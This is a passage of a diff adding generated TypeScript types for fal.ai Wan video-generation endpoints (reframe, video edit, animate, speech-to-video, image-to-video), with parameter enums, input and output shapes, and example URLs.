InputFalAiWanVaceAppsLongReframeSamplerEnumKey = + (typeof inputFalAiWanVaceAppsLongReframeSamplerEnum)[keyof typeof inputFalAiWanVaceAppsLongReframeSamplerEnum] + +export const inputFalAiWanVaceAppsLongReframeVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanVaceAppsLongReframeVideoQualityEnumKey = + (typeof inputFalAiWanVaceAppsLongReframeVideoQualityEnum)[keyof typeof inputFalAiWanVaceAppsLongReframeVideoQualityEnum] + +export const inputFalAiWanVaceAppsLongReframeResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanVaceAppsLongReframeResolutionEnumKey = + (typeof inputFalAiWanVaceAppsLongReframeResolutionEnum)[keyof typeof inputFalAiWanVaceAppsLongReframeResolutionEnum] + +export type InputFalAiWanVaceAppsLongReframe = { + /** + * @description URL to the source video file. This video will be used as a reference for the reframe task. + * @example https://storage.googleapis.com/falserverless/web-examples/wan/t2v.mp4 + * @type string + */ + video_url: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to paste back the reframed scene to the original video. + * @default true + * @type boolean | undefined + */ + paste_back?: boolean + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanVaceAppsLongReframeInterpolatorModelEnumKey + /** + * @description Whether to trim borders from the video. + * @default true + * @example true + * @type boolean | undefined + */ + trim_borders?: boolean + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanVaceAppsLongReframeAspectRatioEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanVaceAppsLongReframeVideoWriteModeEnumKey + /** + * @description Whether to enable auto downsample. + * @default true + * @example true + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWanVaceAppsLongReframeTransparencyModeEnumKey + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Minimum FPS for auto downsample. + * @minimum 1 + * @maximum 60 + * @default 6 + * @example 6 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description Threshold for scene detection sensitivity (0-100). Lower values detect more scenes. + * @minimum 0 + * @maximum 100 + * @default 30 + * @type number | undefined + */ + scene_threshold?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Zoom factor for the video. When this value is greater than 0, the video will be zoomed in by this factor (in relation to the canvas size,) cutting off the edges of the video. A value of 0 means no zoom. + * @minimum 0 + * @maximum 0.9 + * @default 0 + * @example 0 + * @type number | undefined + */ + zoom_factor?: number + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWanVaceAppsLongReframeAccelerationKey | null + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWanVaceAppsLongReframeSamplerEnumKey + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanVaceAppsLongReframeVideoQualityEnumKey + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWanVaceAppsLongReframeResolutionEnumKey + /** + * @description The text prompt to guide video generation. Optional for reframing. + * @default '' + * @example + * @type string | undefined + */ + prompt?: string +} + +export type VideoFileC7F2E4D7 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiWanVaceAppsLongReframe = { + /** + * @description The output video file. + * @type object + */ + video: VideoFileC7F2E4D7 +} + +export const inputFalAiWanVaceAppsVideoEditResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanVaceAppsVideoEditResolutionEnumKey = + (typeof inputFalAiWanVaceAppsVideoEditResolutionEnum)[keyof typeof inputFalAiWanVaceAppsVideoEditResolutionEnum] + +export const inputFalAiWanVaceAppsVideoEditAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanVaceAppsVideoEditAspectRatioEnumKey = + (typeof inputFalAiWanVaceAppsVideoEditAspectRatioEnum)[keyof typeof inputFalAiWanVaceAppsVideoEditAspectRatioEnum] + +export const inputFalAiWanVaceAppsVideoEditVideoTypeEnum = { + auto: 'auto', + general: 'general', + human: 'human', +} as const + +export type InputFalAiWanVaceAppsVideoEditVideoTypeEnumKey = + (typeof inputFalAiWanVaceAppsVideoEditVideoTypeEnum)[keyof typeof inputFalAiWanVaceAppsVideoEditVideoTypeEnum] + +export const inputFalAiWanVaceAppsVideoEditAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWanVaceAppsVideoEditAccelerationKey = + (typeof inputFalAiWanVaceAppsVideoEditAcceleration)[keyof typeof inputFalAiWanVaceAppsVideoEditAcceleration] + +export type InputFalAiWanVaceAppsVideoEdit = { + /** + * @description Resolution of the edited video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + resolution?: InputFalAiWanVaceAppsVideoEditResolutionEnumKey + /** + * @description Aspect ratio of the edited video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanVaceAppsVideoEditAspectRatioEnumKey + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to enable automatic downsampling. If your video has a high frame rate or is long, enabling longer sequences to be generated. The video will be interpolated back to the original frame rate after generation. + * @default true + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description Whether to include a ZIP archive containing all generated frames. + * @default false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description The type of video you're editing. Use 'general' for most videos, and 'human' for videos emphasizing human subjects and motions. The default value 'auto' means the model will guess based on the first frame of the video. + * @default 'auto' + * @example auto + * @type string | undefined + */ + video_type?: InputFalAiWanVaceAppsVideoEditVideoTypeEnumKey + /** + * @description The minimum frames per second to downsample the video to. + * @minimum 1 + * @maximum 60 + * @default 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWanVaceAppsVideoEditAccelerationKey | null + /** + * @description URL of the input video. + * @example https://storage.googleapis.com/falserverless/example_inputs/vace-video-edit-input.mp4 + * @type string + */ + video_url: string + /** + * @description URLs of the input images to use as a reference for the generation. + * @default [] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description Prompt to edit the video. + * @example replace him with a large anthropomorphic polar bear + * @type string + */ + prompt: string +} + +export type VideoFileC24D4E18 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type FileC840Edf1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiWanVaceAppsVideoEdit = { + /** + * @description The edited video. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/vace-video-edit-output.mp4"} + * @type object + */ + video: VideoFileC24D4E18 + /** + * @description ZIP archive of generated frames if requested. + */ + frames_zip?: FileC840Edf1 | null +} + +export const inputFalAiWanV2214BAnimateMoveResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV2214BAnimateMoveResolutionEnumKey = + (typeof inputFalAiWanV2214BAnimateMoveResolutionEnum)[keyof typeof inputFalAiWanV2214BAnimateMoveResolutionEnum] + +export const inputFalAiWanV2214BAnimateMoveVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV2214BAnimateMoveVideoQualityEnumKey = + (typeof inputFalAiWanV2214BAnimateMoveVideoQualityEnum)[keyof typeof inputFalAiWanV2214BAnimateMoveVideoQualityEnum] + +export const inputFalAiWanV2214BAnimateMoveVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV2214BAnimateMoveVideoWriteModeEnumKey = + (typeof inputFalAiWanV2214BAnimateMoveVideoWriteModeEnum)[keyof typeof inputFalAiWanV2214BAnimateMoveVideoWriteModeEnum] + +export type InputFalAiWanV2214BAnimateMove = { + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If true, applies quality enhancement for faster generation with improved quality. When enabled, parameters are automatically optimized for best results. + * @default false + * @example true + * @type boolean | undefined + */ + use_turbo?: boolean + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '480p' + * @example 480p + * @type string | undefined + */ + resolution?: InputFalAiWanV2214BAnimateMoveResolutionEnumKey + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://v3b.fal.media/files/b/panda/-oMlZo9Yyj_Nzoza_tgds_GmLF86r5bOt50eMMKCszy_eacc949b3933443c9915a83c98fbe85e.png + * @type string + */ + image_url: string + /** + * @description URL of the input video. + * @example https://v3b.fal.media/files/b/panda/a6SvJg96V8eoglMlYFShU_5385885-hd_1080_1920_25fps.mp4 + * @type string + */ + video_url: string + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 8 + * @type number | undefined + */ + shift?: number + /** + * @description If true, also return a ZIP archive containing per-frame images generated on GPU (lossless). + * @default false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 20 + * @example 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV2214BAnimateMoveVideoQualityEnumKey + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV2214BAnimateMoveVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type number | undefined + */ + guidance_scale?: number +} + +export type FileC97919A1 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV2214BAnimateMove = { + /** + * @description The seed used for generation + * @example 1416721728 + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/monkey/xjJYzO0jqMi7MxufJe5tx_wan_animate_output.mp4"} + * @type object + */ + video: FileC97919A1 + /** + * @description ZIP archive of generated frames (if requested). + */ + frames_zip?: FileC97919A1 | null + /** + * @description The prompt used for generation (auto-generated by the model) + * @example + * @type string + */ + prompt: string +} + +export const inputFalAiWanV2214BAnimateReplaceResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV2214BAnimateReplaceResolutionEnumKey = + (typeof inputFalAiWanV2214BAnimateReplaceResolutionEnum)[keyof typeof inputFalAiWanV2214BAnimateReplaceResolutionEnum] + +export const inputFalAiWanV2214BAnimateReplaceVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV2214BAnimateReplaceVideoQualityEnumKey = + (typeof inputFalAiWanV2214BAnimateReplaceVideoQualityEnum)[keyof typeof inputFalAiWanV2214BAnimateReplaceVideoQualityEnum] + +export const inputFalAiWanV2214BAnimateReplaceVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV2214BAnimateReplaceVideoWriteModeEnumKey = + (typeof inputFalAiWanV2214BAnimateReplaceVideoWriteModeEnum)[keyof typeof inputFalAiWanV2214BAnimateReplaceVideoWriteModeEnum] + +export type InputFalAiWanV2214BAnimateReplace = { + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description If true, applies quality enhancement for faster generation with improved quality. When enabled, parameters are automatically optimized for best results. + * @default false + * @example true + * @type boolean | undefined + */ + use_turbo?: boolean + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '480p' + * @example 480p + * @type string | undefined + */ + resolution?: InputFalAiWanV2214BAnimateReplaceResolutionEnumKey + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://v3b.fal.media/files/b/panda/-oMlZo9Yyj_Nzoza_tgds_GmLF86r5bOt50eMMKCszy_eacc949b3933443c9915a83c98fbe85e.png + * @type string + */ + image_url: string + /** + * @description URL of the input video. + * @example https://v3b.fal.media/files/b/panda/a6SvJg96V8eoglMlYFShU_5385885-hd_1080_1920_25fps.mp4 + * @type string + */ + video_url: string + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 8 + * @type number | undefined + */ + shift?: number + /** + * @description If true, also return a ZIP archive containing per-frame images generated on GPU (lossless). + * @default false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 20 + * @example 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV2214BAnimateReplaceVideoQualityEnumKey + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV2214BAnimateReplaceVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type number | undefined + */ + guidance_scale?: number +} + +export type FileA9Dd898E = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV2214BAnimateReplace = { + /** + * @description The seed used for generation + * @example 1416721728 + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/elephant/9Ofgiju3Peb3b5hriTuBH_wan_animate_output.mp4"} + * @type object + */ + video: FileA9Dd898E + /** + * @description ZIP archive of generated frames (if requested). + */ + frames_zip?: FileA9Dd898E | null + /** + * @description The prompt used for generation (auto-generated by the model) + * @example + * @type string + */ + prompt: string +} + +export const inputFalAiWanV2214BSpeechToVideoResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV2214BSpeechToVideoResolutionEnumKey = + (typeof inputFalAiWanV2214BSpeechToVideoResolutionEnum)[keyof typeof inputFalAiWanV2214BSpeechToVideoResolutionEnum] + +export const inputFalAiWanV2214BSpeechToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV2214BSpeechToVideoVideoQualityEnumKey = + (typeof inputFalAiWanV2214BSpeechToVideoVideoQualityEnum)[keyof typeof inputFalAiWanV2214BSpeechToVideoVideoQualityEnum] + +export const inputFalAiWanV2214BSpeechToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV2214BSpeechToVideoVideoWriteModeEnumKey = + (typeof inputFalAiWanV2214BSpeechToVideoVideoWriteModeEnum)[keyof typeof inputFalAiWanV2214BSpeechToVideoVideoWriteModeEnum] + +export type InputFalAiWanV2214BSpeechToVideo = { + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Number of frames to generate. Must be between 40 to 120, (must be multiple of 4). + * @minimum 40 + * @maximum 120 + * @default 80 + * @example 80 + * @type integer | undefined + */ + num_frames?: number + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://storage.googleapis.com/falserverless/example_inputs/wan_s2v_cat.png + * @type string + */ + image_url: string + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '480p' + * @example 480p + * @type string | undefined + */ + resolution?: InputFalAiWanV2214BSpeechToVideoResolutionEnumKey + /** + * @description The text prompt used for video generation. + * @example Summer beach vacation style, a white cat wearing sunglasses sits on a surfboard. + * @type string + */ + prompt: string + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 16 + * @example 16 + */ + frames_per_second?: number | null + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV2214BSpeechToVideoVideoQualityEnumKey + /** + * @description The URL of the audio file. + * @example https://storage.googleapis.com/falserverless/example_inputs/wan_s2v_talk.wav + * @type string + */ + audio_url: string + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV2214BSpeechToVideoVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type FileE96Bdf88 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV2214BSpeechToVideo = { + /** + * @description The generated video file. + * @example {"content_type":"application/octet-stream","file_size":4685303,"file_name":"2c7ab2540af44eceaf5ffde4e8d094ed.mp4","url":"https://v3.fal.media/files/panda/f7tXRCjvwEcVlmxHuw8kO_2c7ab2540af44eceaf5ffde4e8d094ed.mp4"} + * @type object + */ + video: FileE96Bdf88 +} + +export const inputFalAiWanV225BImageToVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV225BImageToVideoAspectRatioEnumKey = + (typeof inputFalAiWanV225BImageToVideoAspectRatioEnum)[keyof typeof inputFalAiWanV225BImageToVideoAspectRatioEnum] + +export const inputFalAiWanV225BImageToVideoResolutionEnum = { + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV225BImageToVideoResolutionEnumKey = + (typeof inputFalAiWanV225BImageToVideoResolutionEnum)[keyof typeof inputFalAiWanV225BImageToVideoResolutionEnum] + +export const inputFalAiWanV225BImageToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV225BImageToVideoVideoQualityEnumKey = + (typeof inputFalAiWanV225BImageToVideoVideoQualityEnum)[keyof typeof inputFalAiWanV225BImageToVideoVideoQualityEnum] + +export const inputFalAiWanV225BImageToVideoInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV225BImageToVideoInterpolatorModelEnumKey = + (typeof inputFalAiWanV225BImageToVideoInterpolatorModelEnum)[keyof typeof inputFalAiWanV225BImageToVideoInterpolatorModelEnum] + +export const inputFalAiWanV225BImageToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV225BImageToVideoVideoWriteModeEnumKey = + (typeof inputFalAiWanV225BImageToVideoVideoWriteModeEnum)[keyof typeof inputFalAiWanV225BImageToVideoVideoWriteModeEnum] + +export type InputFalAiWanV225BImageToVideo = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV225BImageToVideoAspectRatioEnumKey + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 40 + * @example 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide video generation. + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video (580p or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV225BImageToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 24 + * @example 24 + */ + frames_per_second?: number | null + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV225BImageToVideoVideoQualityEnumKey + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV225BImageToVideoInterpolatorModelEnumKey + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV225BImageToVideoVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type FileD5Cf66B3 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV225BImageToVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/wan/v2.2-small-i2v-output.mp4"} + * @type object + */ + video: FileD5Cf66B3 + /** + * @description The text prompt used for video generation. + * @default '' + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV225BTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV225BTextToVideoAspectRatioEnumKey = + (typeof 